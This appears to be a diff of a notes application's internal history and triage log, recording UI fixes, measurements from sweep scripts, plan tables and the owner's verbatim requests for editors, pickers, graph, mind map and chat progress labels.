+     view; what differed from VS Code was the clipboard text (`bravo`, no
+     newline, measured before the change) and cutting the last line, which
+     left an empty one. One handler on both CM6 editors (documents, every
+     note surface) writes the line with its newline, pastes it above the
+     caret's line, and cuts the last line with the newline before it.
+     Measured (`linecopy.js`, real clipboard): 7 of 7 in the documents editor
+     and 7 of 7 in the capture box. The plain `<textarea>`s that never mount a
+     view (settings fields, the single-line inputs) keep the browser's own
+     behaviour; the note boxes mount CM6 on focus and are covered.

+     "Reading your notes…", reasoning "Atlas is thinking…", streaming "Atlas is
+     writing…", a tool "Atlas is <verb>…"; a persona's name replaces Atlas.
+     Placed: Sonnet agent.
+     **Fixed 41da959.** `PROGRESS_PHASES` in chat.js is the one table;
+     `progressLine().setPhase(name, detail)` drives words and shape together,

+     events: request sent "Reaching Atlas…", the server's `status: searching`
+     (never read before) "Reading your notes…", `meta` with notes keeps it,
+     five quiet seconds after `meta` "Waking the model…", reasoning delta
+     "Atlas is thinking…", answer delta "Atlas is writing…", tool event "Atlas
+     is <verb>…" from the tool's label. Chat, Ask, the popup agent pass
+     `progress`; the Guide drives its own stream through the same line; the
+     document AI request opens on the same first phase. Measured against the
+     real Chat tab with a hand-fed stream (`phases.js`): 7 stages each read
+     their words and shape, motion on and off; motion off, the label is one
+     pulsing line (101px wide, opacity 0.92, the stepped word clipped to 1px).
+     Not run live: Ask, the popup agent, the Guide and the document AI each
+     on their own (the first two share `streamChat`).

+     (the status bar's back/forward popup).** "the nav history popup doesnt

+     title through the same plain-title and thumbnail helpers the note cards
+     use; markdown stripped, an image note shows its thumbnail).
+     **Fixed 10cc52a.** Each row is a kind icon, the plain title
+     (`notePreviewText`; an image-only note by its caption or "Image"), the
+     dashboard rows' lazy thumbnail for a note that opens with a picture, and
+     the tab in muted text; consecutive identical rows fold, history is not
+     deduped. Measured, `ui-sweeps/navhistory-rows.js`, 1440 and 390, light and
+     dark: 0 of 16 checks failing (no '#', '![', '_', 'http' in any row; 3
+     lazy thumbnails loaded; 10 entries drew 9 rows; text contrast min 5.91

+## OPEN.md rows closed, 2026-10-05
+
+The triage of `agent-remaining/OPEN.md` on 2026-10-05 (left1005): each row read against the head; fixed, verified, decided or placed rows moved here whole with their account (standing order 10). Rows owned by running agents (security, backend architecture, frontend performance, UX, mind map and docs, whiteboard draw.io, Atlas, the boot split) were not touched.
+
+### A finding below the editor's visible box gets a menu drawn over its own word
+
+Placed. Placed in DOCUMENTS_PLAN, "Placed from INBOX, 2026-10-05 (OPEN.md triage)", with a brief: the overlap did not reproduce; why the reveal will not bring a table-cell word in is left.
+
+- **A finding below the editor's visible box gets a menu drawn over its own
+  word.** **2026-10-04: the assertion exists** (`spellwide2.js` fails when the
+  menu overlaps the word) **and the case did not reproduce** (table-cell word
+  at 551..568 inside a box ending at 584, menu below it, overlap 0 on the
+  vertical axis in all five cases); the half that is still open is why
+  `docRevealForSuggest` would not bring a word below the box in. Was: Measured in `spellwide2.js`'s table-cell case: the word sits at
+  `655..707` in an editor whose visible box ends at `572`, and the menu is
+  placed at `440..717`. The sweep reads that as a 0px gap and passes. Two
+  things to decide: why `docRevealForSuggest` did not bring that word in (a
+  table cell's mark may measure outside the scroller the reveal scrolls), and
+  that a placement must never cover the rect it is anchored to, which is worth
+  an assertion of its own in both sweeps. [editor-intelligence.md]
+  *Opus: why `docRevealForSuggest` will not bring a table-cell word in is an investigation, not a named fix.*
+
+### WORLD_CLASS D6, the daily journal: the backend is built, the frontend is not
+
+Verified built. Verified on the head, 2026-10-05: the calendar strip under the Timeline dock (`timeline.js`, the strip whose days call `openDayPage`) and the yesterday and tomorrow pair in a daily note's head (`note-cards.js`, each button `openDayPage` for its neighbour) are both built; with `Ctrl+D` and the composer-first button, D6's frontend is done.
+
+- **WORLD_CLASS D6, the daily journal: the backend is built, the frontend is
+  not.** `POST /entries/daily/{date}` creates or returns and
+  `GET /entries/daily?through=&days=` gives the calendar strip its days and
+  the streak (`tests/test_daily_journal.py`). **Re-read 2026-09-23**: the
+  first step is superseded, not missing. `startTodaysNote` deliberately opens
+  the composer with the day's title and saves nothing until Save (INBOX 199,
+  the comment above it in app.js), which is what removed the duplicate, and
+  the POST stays for the agent's own tool. `Ctrl+D` built 2026-09-23 on the
+  decision in INBOX 321 (now in HISTORY). Still open: the calendar strip and
+  the yesterday and tomorrow pair (the pair sits in the note head, which is
+  the notes surface's owner's).
+  [chat-timeline-skills.md]
+  *Opus: the calendar strip and the yesterday/tomorrow pair are new UI on the notes surface.*
+
+### The Files sub-tab rows were never on screen
+
+Placed. Its open remainder (two kinds of Files row on two rhythms, 50.3px against 24.8px of slack) is placed in UI_MODERNISATION_PLAN, "Placed from INBOX, 2026-10-05 (OPEN.md triage)".
+
+- ~~**The Files sub-tab rows were never on screen.**~~ **Measured 2026-09-21.**
+  `imagecardfoot.js` seeds PDFs through `/media/upload` and takes `SUBTAB=files`,
+  and `imagefold.js` seeds them too. At 1440 in light: a row with nothing to say
+  is 160px and one with a description 226.3px, four controls at rest on each,
+  the description block 43.5px (the same `--text-md` block a picture card
+  draws), the fold summary 1197.6px wide of a 1197.6px column and 32.8px tall
+  at contrast 6.02. The full-width fold is by design and is now a number rather
+  than an inference: on a Files row it is 100% of the content column, against
+  the 82% that was judged nearly a bar on a 156.3px picture tile. The rows are
+  `display: flex`, one per line, not the pictures' grid, so an open reading
+  moves 0 of 0 row-mates and pushes only its own row, 160 to 167.5px: the hole
+  the picture cards were rescued from cannot happen there while that holds, and
+  `imagefold.js` is the ratchet on it. Open, and measured rather than guessed: a
+  described row leaves 50.3px of slack under its last block against 24.8px on an
+  undescribed one, so the two ranks of Files row do not sit on one rhythm.

+
+### A tile's Rename and Delete buttons are never in the DOM
+
+Decided. Decided 2026-10-05: they stay detached. It is the shape Chat already uses for `#chat-export` and `#chat-delete` (visually-hidden, `aria-hidden` proxies the ⋯ rows click, index.html ~2335): a tile's visible controls are its tick and its ⋯, as the card recipe says, and the menu is the one door to Rename and Delete.
+
+- **A tile's Rename and Delete buttons are never in the DOM.** They are
+  detached `<button>` objects the kebab's rows `.click()`
+  (`renderLibraryImagesGallery`, `library.js`). Deliberate and working, but it
+  is a behaviour question: either the buttons belong in the row with the menu
+  as the overflow, or they stay detached and that is written down. The dead
+  glass-off rules that used to name them are already gone. [visual-c.md,
+  image-cards.md]
+  *Opus: a behaviour question (buttons in the row or detached and written down).*
+
+### A caption for an image that has none
+
+Decided. Decided 2026-10-05: no model call behind a picker row. A picker is the instant, offline choice; a caption is written where the picture lives (the Library's caption action, `POST /media/{id}/caption`), and the row's 'No caption yet' already says there is none.
+
+- **A caption for an image that has none.** The attach picker's second line
+  falls back to the note the picture is used in, then to "No caption yet"; the
+  Library can write one (`POST /media/{id}/caption`). An "Ask the model for
+  one" action on that line is the obvious next step and was not built because
+  it puts a model call behind a row in a picker, which is a decision. File:
+  `frontend/js/app.js`, the `caption` entry of the images shape.
+  [picker-catalog-readme.md]
+  *Opus: a model call behind a picker row is a decision.*
+
+### The other four picker sources have no thumbnail
+
+Placed. Placed in UI_MODERNISATION_PLAN, "Placed from INBOX, 2026-10-05 (OPEN.md triage)", with a brief.
+
+- **The other four picker sources have no thumbnail.** Documents, files and
+  maps all have something to show (a first page, a file glyph, `mapPreview`
+  already draws a map for the boards gallery). The renderer is ready:
+  `shape.thumb` is optional and per source. File: `frontend/js/app.js`,
+  `notePickerShape`. [picker-catalog-readme.md]
+  *Opus: a per-source thumbnail design in `notePickerShape`.*
+
+### The Notes (10) and Library (9) docks are still over the seven-control ceiling
+
+Verified. Re-measured 2026-10-05 (`docks.js` at 1440): the Notes dock holds 6 controls and the Library's 6, both under the ceiling, so INBOX 47's counting question no longer decides anything for these two.
+
+- **The Notes (10) and Library (9) docks are still over the seven-control
+  ceiling.** The graph's move to six was decided for the graph specifically;
+  INBOX 47 records that nothing was decided for these two and that guessing is
+  a design call. [graph.md]
+  *Opus: INBOX 47, which control count the ceiling means is a design call.*
+
+### INBOX 38's bulk-move action is still to build
+
+Placed. Placed in WORLD_CLASS_PLAN, "Placed from INBOX, 2026-10-05 (OPEN.md triage)", with a brief (nothing on the head moves a batch of notes between spaces).
+
+- **INBOX 38's bulk-move action is still to build.** The chip and label are
+  the visibility fix that lets a person tell which space a survivor is in;
+  moving a batch of them is the item's own D2 owner line. [batch-a.md]
+  *Opus: a new feature.*
+
+### Phase 11 item 1's last bullet: the top bar's own reduction at 320
+
+Measured. Measured 2026-10-05 (`scratchpad/ui-sweeps/left1005-openrows.js`, 320x800): the top bar is 57.8px tall with nothing past the right edge and 0px of sideways scroll on the page. Nothing has to leave at 320.
+
+- **Phase 11 item 1's last bullet: the top bar's own reduction at 320.** The
+  title, the AI dot and one action. Never measured at 320 with the wordmark,

+  broken. Files: `frontend/css/10-responsive.css` band 4,

+  1,058 lines, 89 checks, written against the textarea, the per-paragraph Live
+  view, the Phase 0 backdrop and the D3 snapshot stack, all four gone; it
+  still references `docUndoStack`, `docUndoAt`, `docUndoReset`,
+  `#doc-live .lp-src` and `has-backdrop`, so it throws rather than failing
+  usefully. What it carries that nothing else does is the long tail: the
+  colour menus, the footnote and table commands, the toolbar's collapse and
+  wrap modes, the gutter pairing for the two note editors. Next step: re-point
+  its reads at `docSurface()` and its Live interactions at
+  `#doc-editor .cm-content`, drop the four retired checks, and report how many
+  of the 89 survive. [documents-engine.md, documents-batch.md,

+
+- **`contrast.js` never visits the Documents tab.** **2026-10-04: `documents`

+  dark); the whiteboard and the mind map are still not covered.** Was: its
+  `TABS` constant holds
+  seven tabs and documents, whiteboard and mindmap are not among them, so the
+  merge gate's contrast step has never measured any of those surfaces. Adding
+  the three is a two-line change that will almost certainly find pre-existing

+### anim.md
+
+Fixed. Fixed 2026-10-05: `tests/test_cheap_animations.py::test_nothing_animates_a_filter_without_a_reason` holds `filter` and `backdrop-filter` (transitions and keyframes) to a stated reason. The row's 'nothing transitions them' was not true: `.graph-node .graph-core` transitions `filter`, a node's own hover glow, which repaints that circle only; it now says so above the declaration. A glass shadow transition still has no probe; `animcost.js` is its shape.
+
+- **anim.md**: a `box-shadow` transition over a `backdrop-filter` surface was
+  never measured (`animcost.js` is the shape of the probe), and `filter` and
+  `backdrop-filter` are not in the transition lint because nothing transitions
+  them. [anim]

+
+Placed. Placed in CHAT_PLAN, "Placed from INBOX, 2026-10-05 (OPEN.md triage)": the triage of its own Placed lists and the 13px hover row. The dock gap and the panel's shadow are for that pass to re-measure; the citation peek covering notes only is CHAT_PLAN's.
+
+- **chat-0926.md**: CHAT_PLAN's "Placed from INBOX" list needs one triage pass
+  (72 the popup agent panel, 63 Ask/Write/Capture and 71's Tools table look

+
+### chrome2.md
+
+Fixed. Fixed 2026-10-05: `openSheet` runs `initHelpToggles(card)` once the sheet is in the page, so a '?' any sheet builds is wired. It found three that did nothing: the Suggestions sheet's (never wired) and Manage tags' and Manage categories' (wired inside `build`, before the card was in the document, so the panel lookup by id found nothing). Escape now closes an open '?' first and the sheet on the next press. `tests/test_help_toggles_built_later.py` (the call in `openSheet`, and any script-built `data-help-for` outside a sheet must call it itself); `left1005-helplater.js` 6/6 at 1440 light and 390 dark.
+
+- **chrome2.md**: `initHelpToggles` runs once at boot over the whole document
+  and is re-runnable (wiring.js); anything built after boot with

+
+- **guide.md**: the Guide's corpus is kept in step with the Help accordion by
+  hand (a lint needs the accordion marked up with ids first); retrieval is
+  keyword matching, so a question sharing no word with a topic reaches

+### Sections B and C of "What is left after PR 144"
+
+Verified 2026-10-05: GRAPH_PLAN's row was already marked stale and built; WHITEBOARD_PLAN's four items are closed in OPEN.md's Whiteboard section (decision 7's pad, the context bar, sketch handles at zoom, align and distribute); CHAT_PLAN's and AGENT_SKILLS_REFORM's breadth is WORLD_CLASS_PLAN 9; TIMELINE_PLAN's is built; DOCUMENTS_PLAN's tails are OPEN.md's two Documents rows; WORLD_CLASS_PLAN holds its own rows and C's order. Kept open in OPEN.md: MINDMAP_PLAN's row and UI_MODERNISATION_PLAN Phase 11 item 11's screenshot set.
+
+**B. Plan tails, by surface**
+
+| Plan | Still open |
+| --- | --- |
+| DOCUMENTS_PLAN | ~~Phase 4~~ closed 2026-09-20: the templates gallery was verified by `scratchpad/ui-sweeps/doctemplates.js` (six templates, each with a description), and item 5's daily notes were built from the decision in DOCUMENTS_PLAN section 14 and measured by `docdaily.js`, 11 of 11 (7 templates with Daily, the document titled with the ISO day, 0 "start today's note" offers beside a day already written as a document). What is left: the Phase 2, 6 and 8 tails and the engine's three deliberate omissions, in this file's Documents section. Everything else this row used to list was built or already existed: the Library's property filter, outline reorder with folding and a filter box, the command palette and shortcut sheet from one table, version history with its diff and its AI filter, the per-hunk AI diff, reading typography and the print stylesheet (all 2026-09-20 or earlier, each with its probe named in HISTORY.md). |
+| UI_MODERNISATION_PLAN | ~~Phase 8's docks over the seven-control ceiling~~: re-measured 2026-09-20 (`docks.js` at 1440): notes 6, graph 6, library 5, chat 4, timeline 4, reminders 4, and only `#wb-topbar` at 13, which the plan names as the menu-bar exception (Insert, Edit, Arrange, View, Board on the dock's zones). Done. Phase 11, the phone done properly: items 1, 2, 3, 5 (its share sheet half), 6, 8 and 9 were built on 2026-09-20, and items 4 (the graph: the hold that opens the node menu and arms the lasso, the controls as one sheet) and 7 (the whiteboard and the map: two fingers for the camera, the tools as a sheet, the board bar at the touch floor) on the same day, each with its own gate in `scratchpad/ui-sweeps/` (`graphphone.js`, `wbphone.js`). Item 5's reader full screen with a bottom bar was built on 2026-09-20 (`scratchpad/ui-sweeps/libreader.js`, the sheet recipe's `page` variant, and a pane-grid bug it found that was wrong at every width under 1100). Item 9's hover-only half was swept properly on 2026-09-20 (`scratchpad/ui-sweeps/hoveronly.js`: 45 reveal rules, eleven stops, `hover: none` emulated and each candidate tapped) and the two it found were both a `hover: none` override written a class short of the rule it had to beat, so neither had ever applied. Item 11's two open gates were closed on 2026-09-20: errors.js was already clean at 390, and contrast.js, which took no viewport and had only ever run at 1440x900, now takes one, reaches Settings the way a phone reaches it, reports how many text elements it measured (which caught the whiteboard being in its tab list with no tab page to open, so it had been measuring an empty window at every width) and comes back 0 low-contrast over 33 surfaces at 390, 820 and 1440 in light and dark. Item 7's leftovers at 820 were measured and fixed in the same pass. What is left of the phase: item 11's screenshot set for the owner. |
+| GRAPH_PLAN | ~~All four~~ **stale, checked 2026-09-23**: Phase 5's real gap (a saved view restoring unpinned positions) was built 2026-09-21 and the `?since=` cursor is left until something polls, both on the plan's Phase 5 row; Phase 6 was measured built on 2026-09-20 (this file's Graph section); the local pane's switches are left by the 2026-09-13 decision; 6b the minimap was built 2026-09-13 (`minimap6b.js`). The one line the plan still held, a lasso selection dragging as one, was built 2026-09-23 (`oi-groupdrag.js`). |
+| WHITEBOARD_PLAN | Decision 7's other half; the phone context bar comparison; sketch handles at zoom; the arrange panel items. |
+| MINDMAP_PLAN | The mapux agent's leftover list (this file's Mind map section). |
+| CHAT_PLAN | ~~Phase 1's other half, which note grounds a sentence~~ built 2026-09-20 (the fixtures exist, 18 of 18 attributed, was 17 of 18); ~~Phase 1's fourth gate line~~ built 2026-09-21 and its replay tail 2026-09-23, so Phase 1 is closed; Phase 4's harness items were closed 2026-09-20, and what is left is its `evals` breadth (WORLD_CLASS_PLAN 9). |
+| TIMELINE_PLAN | ~~Section 7's two measurements~~ taken 2026-09-20, and both found a bug: the density strip hid on a note count (it hid a profile of 150 notes and showed a comb of 200) and the table drew no title column at all between 600 and 1024. Both fixed and re-measured. The third line, the "auto" scale thresholds, was tuned 2026-10-04 (HISTORY, "the auto scale"). |
+| AGENT_SKILLS_REFORM | ~~Phase D verified against a real model, which needs WORLD_CLASS_PLAN section 9's dev-only runner first.~~ **Done 2026-09-20.** The runner is `scratchpad/llama-dev.sh` and the gate is `tests/test_skills_evals.py`, four `evals` tests that skip at collection without a model: 3 passed and 1 skipped against Qwen2.5-1.5B-Instruct Q4_K_M through llama.cpp, with the skip itself the finding (the run stalled on step 1's `list_tags` contract and said so, rather than ticking it). Record in HISTORY's "Moved from the plans, 2026-09-20". What is left is breadth, and it sits in WORLD_CLASS_PLAN 9: the same gate at 3B and 4B, and an eval each for the rest of CLAUDE.md section 4's unproven list. |
+| WORLD_CLASS_PLAN | **Row check done 2026-09-24 (INBOX 399).** Every row read against the code; the built ones moved to HISTORY's "Moved from the plans, 2026-09-24", each open row carries a "State 2026-09-24" line, and the ranked list of 38 is at the top of the plan's section 8. The top ten, by impact: F3 `semantic_search` reading every vector per request; Brief 15's LAN hardening (S1 to S3, S5, S6); B2 durable jobs; D2's connections rail (and 261's `/resurface/near`); I1's night runs and morning card; chunk vectors then I6's evidence cards; I3's questions view; `similar_pairs` cached for link suggestions and tensions; D5 typed properties on notes; the S-sized section 1 lints. Fixed during the check: 283, 285, the Most used widget's picker line, Download .md on a locked notebook, and `/files/gallery`'s paging (F2's frontend half). Built 2026-09-24 after it: row 1 (F3, `semantic_search` on the matrix), row 9 (`similar_pairs` cached) and row 2 (S1, S2, S3, the rest of S5, S6's redirect half, `/debug/health` paths; left `tests/test_lan_mode.py` and the LAN offer). Built 2026-10-04: row 3, B2's durable jobs for the pool's six kinds (`core/jobstore.py`; left: the other kinds onto the table, the panel on `/jobs/stream`). |
+
+**C. The horizon (WORLD_CLASS_PLAN, one item per PR, in its own stated order)**
+
+H7 the speed budget, H9's perf gate and usage ledger, H1 the night shift,
+H2 evidence cards and open questions, H3 the model bench, H6 professional
+use (imports, print and PDF, keyboard-complete, WCAG audit, multi-window,
+first-run tour; 253 is its first row), H4 the API contract and extensions,
+H8 time travel and the margin reader, H5 sync. Behind them the backend
+moves B2's second half, B4, B6 to B8 and the inventions I1 to I3 and I5 to
+I8, each with its spec test named in the plan.
+
+### featuremodels.md
+
+Verified 2026-10-05: all three questions are held by WORLD_CLASS_PLAN's
+"Still open" under its feature-models section, and the first is decided by
+the owner (2026-09-24: the Guide stays on the utility model whatever the
+smart-routing switch says, `test_with_smart_routing_off_the_guide_keeps_the_utility_model`).
+
+- **featuremodels.md**: smart model routing moves the Guide and its copy does
+  not say so (INBOX 288, WORLD_CLASS_PLAN 20 "Still open"); the per-feature
+  list lives inside `#models-config`, which Settings hides when no backend
+  answers; only the Chat tab shows its pinned model on its surface. [featuremodels]
+  *Opus: three design questions.*
+
+### The PR 157 ledger (the owner's requests on fix/gemini-fixes-5)
+
+Moved whole 2026-10-05; the homes of its ten partial rows are named in OPEN.md where it stood.
+
+Every ask from that session, verbatim in spirit, with its state. The owner:
+"make sure you havent missed anything from any of my requests and make sure
+all are fullfilled." A row leaves this table only when it is done and
+measured; "partial" names what is left.

+| Efficiency: CPU, RAM, network, storage | Measured 2026-09-23: idle network 2 requests and 1.9KB a minute; boot 25 requests, 1.0s to load; JS heap 25MB and 11,001 elements, flat over three rounds of every tab (no leak); CPU on scroll and pan fixed. Left: per-interaction traces for typing and dialogs (Library agent has scroll and typing), 217 document-level listeners worth consolidating |
+| Mind map professional refinement: controls findability, View menu size, hint strip over the canvas | Done: node menu, cross-link tool, label drag, cross-links drawn like branches, View menu 714 to 357px, hint strip, discoverability (canvas agent, `canvasconventions.js` 54 of 54) |
+| Cross-links look the same as branches | Done |

+| Indent and dedent across the app | Done: note surfaces (Tab bridge), board and map text, documents (code: indent unit and Shift+Tab; prose: the editor's own Tab); chat and single-line fields keep Tab as focus movement on purpose (a keyboard user's way out) |
+| Phone designed on purpose; responsive at every resolution | Done for 390, 768 and 1024 (`phonechrome.js`, 0 findings; touch.js clean); 1280, 1920 and 2560 measured with no horizontal overflow on any tab |
+| De-vibecode all the UI, surface by surface, not one fix and stop | First pass done on every surface in the audit order below (Notes, dashboard incl. widgets and empty notebook, chat, graph, Library, timeline, reminders, every Settings pane, Finder, palette, notifications, menus, confirm dialogs, lock screen, boot splash, empty states); second pass on the Library, documents, notes and chat running (agent) |
+| Note metadata, badges and links redesigned everywhere | Done: one line of facts with a category pill and stable colour dot, #tags, dates as days, connection pills with their menu inside; Settings lists (skills, personas, templates) have title, label and facts |
+| More integration between features (INBOX 393) | Partial: Ask Atlas on every object (notes, documents, boards, maps, reminders, files as of 2026-09-23, one wording and glyph, `test_object_actions.py`); the consistency table is WORLD_CLASS_PLAN 1.3; left: the rows that table marks open (Remind me beyond notes, Show in graph for documents, the Library note card's Remind me and Link to) |
+| Glass on every surface when glass is on | Done: graph dock and panels, chat composer; a sweep of every positioned surface on every tab with notifications, Find and Settings open (Classic, glass on) finds none translucent without blur; the dock menus are opaque on purpose (`--modal-bg-opaque`, legibility over the editor) |
+| Gaps between stacked elements | Done: offline notices; a flush-sibling sweep over every tab and six Settings panes finds only hairline-divided list rows, which are flush by design |
+| Micro-conventions (double-click rotate handle to reset, and the rest) on board, map, documents and every surface | Placed (WHITEBOARD_PLAN, Placed from INBOX 2026-09-23); next agent |
+| Suite too slow | Done (parallel, 25 to under 9 minutes) |
+| CI red on Python 3.13 | Done: vault key leak between tests, a create_all race (a lock on the singletons), 3.13's JSON trailing-comma position |
+| Graph: Documents switch did nothing; options panel arrows and field height | Done |
+| Settings: "?" buttons misaligned and missed; pane titles; section headers; flattened badges hard to read | Done: one right edge for every "?", a title on every pane, item rows with a hierarchy |
+| Guided tour broken past slide one | Done: re-enabled; overlays closed before each step, phone steps point at More, a fixed counter, typing left alone; `tour.js` 118 of 118 steps at 1440, 1184 and 390 (`archive/agent-remaining/tour.md`) |
+| Second de-vibecoding pass of the whole app, especially the Library; micro-conventions everywhere; optimisation | In progress: orchestrator did Settings (intros, pane titles), Finder, palette, notifications, lock screen, Timeline rows, graph options heads, reminders rows, dashboard tiles; Library/documents/notes/chat pass merged (list conventions 18 of 18); Guide panel and IA read, map culling, Ask citations agents running |
+| Agents commit often so nothing is lost | Done (agents told; the hourly check-in merges gated agent commits and pushes) |
+| Chip colours; Atlas personality; code completions (Emmet `!`, CSS values, inline); radial More menu; dashboard head; link pill corners; page shine (INBOX 394) | Done (head at the fold reverted at the owner's word) |
+| VS Code features: language-aware Ctrl+/, Emmet beyond HTML, rename tag, swatches, hover docs, guides, symbols, Alt+Z, sticky scroll (INBOX 402) | Done (codecomplete agent) |
+| Code files: snippets, Run with a console, go to definition, find across documents (INBOX 404) | Done for JS and HTML. Open: Python Run via a Pyodide download extra and TypeScript via a vendored type-stripper (recommendations taken per standing order 3; next agent slot) |
+| Prose files: grammar (Harper), suggestion mode, read aloud, accessibility check, Word round trip (INBOX 401, 404) | Done (proseeditor agent) |
+| Menus with bad widths, spacing, alignment; the trust bar (INBOX 403) | Done for menus: 325 findings to 0 (`menus.js`), arrow keys and focus in every menu; the bar stands for every pass |
+| Pan glitches from style invalidation, app-wide; architecture review (INBOX 400) | Done: review in ANALYSIS.md; Notes 61 to 28ms, Library 283 to 32ms, Timeline 89 to 46ms; hover filters gone |
+| World class plan rows left; hole poke; installer and update paths; component refinement (INBOX 399) | Update paths verified end to end; package-check workflow added; hole poke and polish agents running; WORLD_CLASS_PLAN row check done 2026-09-24 (table B) |
+| Finder headings; back-to-top hover; jump-to-latest flicker; user bubble; model chip and picker with no model; avatars; translation (INBOX 405) | Done. Open: avatars beyond personas (graph people, the user's own mark); translate a text selection (queued) |
+| Guide help: more topics, better offline answers (INBOX 406) | Done (top-1 49% to 99%). Open: docs/*.md as a second source, blocked on packaging `docs/` |
+| Empty chat scrolls; jump pill on an empty chat (INBOX 407) | Done |
+| Graph similarity lines unreadable; no reset to defaults (INBOX 412) | Done: top 2 matches per note, crossings 1,701 to 39, hover scores, a strength slider, Reset to defaults with Undo |
+| Split app.js and other large files further | Splits agent running (documents, whiteboard, one app.js surface) |
+
+**De-vibecode audit order** (each surface: list every finding first, then

+timeline, reminders, settings (every pane), dialogs and menus, the finder
+and command palette, the status bar and notifications, the lock screen and
+loading page.
+
+572. **The owner, 2026-10-05, verbatim.** "this whole popup panel is cooked
+     ui/ux wise and needs another redesign for the pill bar and ui fix"
+     (screenshot: the mind map's "Point a new node at..." picker; the source
+     pills in a loose well, icon tiles overlapping the next row, rows running
+     together). Placed: a picker agent. **Fixed 2026-10-05** (pickerDialog,
+     selection.js; 04-chat-dock-appearance.css). Cause: the list is a column
+     flex box of one height and its rows shrank, measured 28px rows under
+     32px tiles with 25 notes (9 tiles over the next row, 8.6px off centre);
+     now `flex: none`, 56px rows 8px apart, 0 overlaps, 0px off centre. The
+     sources span the card as equal segments (502 of 544px at 1440; was 301,
+     left-aligned) of one height (32px; 44 at 390), counted, Home and End,
+     remembered. Type icons (bookmark kind, file type), labels clipped by CSS
+     not at 70 characters, the empty state recipe, a 2px search ring (was
+     3), a thin arrowless scrollbar, one card height while filtering.
+     `scratchpad/ui-sweeps/pickers.js` 88 checks green at 1440 and 390,
+     light and dark (18 fail on the old code).
+
+571. **The owner, 2026-10-05, verbatim (a follow-up to 546).** "again, what
+     constitutes opening a note if I can see a whole note in the notes
+     section, Id just scroll to it and see it yk??" Decision taken: the
+     Connections rail follows the note being read. A card clicked, focused or
+     keyed on is the subject and holds until the list scrolls more than one
+     viewport; otherwise the card whose top is nearest the upper third of
+     the list's visible part (an IntersectionObserver, settled 150ms;
+     `frontend/js/notes-rail-spy.js`, a lazy piece). The subject card wears a
+     left accent hairline; the column cross-fades. The toggle reads
+     "Connections beside the note you're reading"; 546's toast is gone.
+     Phones keep the Connections sheet. Fixed (2026-10-05):
+     `ux1005-railspy.js` at 1440 and 1280: subject 29, then 23 and 16 as the
+     list scrolled 1,200px twice; a clicked card (14) held through a 300px
+     scroll and gave way after 1,500px; one card marked at every step; the
+     list 755px wide at 1440 and 628 at 1280 with the rail beside it.
+
+569. **Fixed 2026-10-05.** The owner, verbatim: "it says the edge bar is solid
+     even though it is dashed" (dark screenshots: a topic's Shape menu reads
+     Box Rounded, Edge bar Solid bar, Fill No fill, and on the canvas the
+     topic has a dashed border and a dashed left bar). The menu was right:
+     the topic was pinned (dragged), and `.wb-map-pinned { border-style:
+     dashed }`, later in 07-whiteboard-misc.css and of equal weight, beat the
+     bar's own `border-left: 4px solid`. 44% of the bar's pixels were gaps
+     (tree-right, pinned, Solid bar). Now the pin dashes the hairline sides
+     only and the bar's side keeps what the Edge bar says; the left hairline
+     of a downward or mirrored pinned topic takes the dash too.
+     `scratchpad/ui-sweeps/mmdoc1005-spinebar.js`: every Box (solid, pinned)
+     by Edge bar (solid, dashed, none) in tree-right, tree-down and both
+     sides, menu text, computed style and the bar's pixels sampled for gaps:
+     31/36 before, 36/36 after, light and dark; a solid bar has 0 gaps, a
+     dashed one 39% to 67%.
+
+573. **Fixed 2026-10-05.** The owner, verbatim: "these anchor points appeared
+     and wont go away" (dark screenshot: a map's "New topic" ringed by eight
+     round accent dots that stayed after deselecting). They were the
+     cross-link tool's anchor hints, not resize handles (a map topic has
+     none: its size is its text's and its own grips', MINDMAP_PLAN). The
+     hover listener drew them under a link tool and returned early under
+     every other one, so after Select (V or Escape) nothing took them away.
+     Now a tool switch, a deselect, the overlay clear and any pointer move
+     off a link tool clear them. `scratchpad/ui-sweeps/mmdoc1005-handlesleft.js`
+     deselects five ways (Escape, a press on empty canvas, Undo and Redo, a
+     tab switch and back, the Shape menu opened and closed) and counts dots,
+     handles and selection marks left: 8 dots left every time before (0/5),
+     0 after (5/5), light and dark.
+
+574. **Fixed 2026-10-05.** The owner, verbatim: "I think there needs to be an
+     easier way to open the formatting toolbar in the documents editor if it
+     is closed in case the user accidentally closes it and cant figure out
+     how to open it back up again". The only way back was the ⋯ menu's
+     "Always show formatting". Now, while the strip is hidden, the dock
+     carries a labelled Formatting button where the strip's toggle sat
+     (desktop; a phone formats from the bar at the thumb); Ctrl+Shift+X
+     toggles it in and out of the text (Ctrl+Shift+F was taken by Find in
+     every document); the ⋯ row reads "Show formatting toolbar" or "Hide
+     formatting toolbar"; the palette row and the shortcut sheet carry the
+     key; the first hide says "Formatting hidden. Bring it back from the
+     Formatting button or Ctrl+Shift+X." once; the help says so.
+     `scratchpad/ui-sweeps/mmdoc1005-formatback.js` 13/13 at 1440 light and
+     dark, 2/2 at 390.
+
+525. **The owner, 2026-10-04 (from 522, verbatim).** "also cna we make the
+     dark background behind the graph labels togglable??" Next Opus: the
+     label plate switch in the graph's gear (Obsidian-parity brief).
+     **Fixed** (verified 2026-10-05): Graph, gear, Display, Label
+     backgrounds; `scratchpad/ui-sweeps/graphplates.js` counts 72 plates on,
+     0 off, and still 0 after a reload (kept on this device). With it the
+     spec's last open KG rows: rollups on the query table and a searching
+     picker for a note field (GRAPH_PLAN, "Still open after KG1 to KG9").

+
+### Row 10, D5: typed properties on notes
+
+Found built for the most part: GRAPH_PLAN KG4 (2026-10-04, above) gave notes
+typed properties (a `---` block, `entry_properties` as its index, the
+property table under a note's title, note types with fields, `type:` on
+create). Search finds a property's value through the note's own text. Left
+by D5's gate and built 2026-10-05:

+- The built-in kinds: Person, Project, Meeting, Book and Place, each with an
+  icon, a colour and three fields (`entry/properties.BUILTIN_TYPES`), seeded
+  once per notebook by `ensure_builtin_types` on the first `/note-types` read
+  or typed create; the `note_types_seeded` preference keeps a deleted kind
+  deleted.
+- The graph colours by them: `/graph` carries each note's `note_type` and the
+  types' `type_colours`; View, Colour has Note type (`gcRuleKey`,
+  `gcRuleScale`: a type's own colour, the scheme for one without, untyped
+  muted). The Guide's graph-display topic says so.

+  a4c9e2f7b1d3), refused with a note's id in the same request, 404 for a
+  missing document, `GET /reminders?document_id=`; a deleted document leaves
+  its reminders about nothing. Every reminder says what it is about
+  (`target_kind`: note, board, map or document; `target_title`), so the row's
+  ⋯ says Open its note, Open its document, Open its board or Open its map and
+  opens that, and its chip carries the target's icon and name.
+- `remindAbout` (shell-reminders.js): a "Remind me" dialog (the text and In an
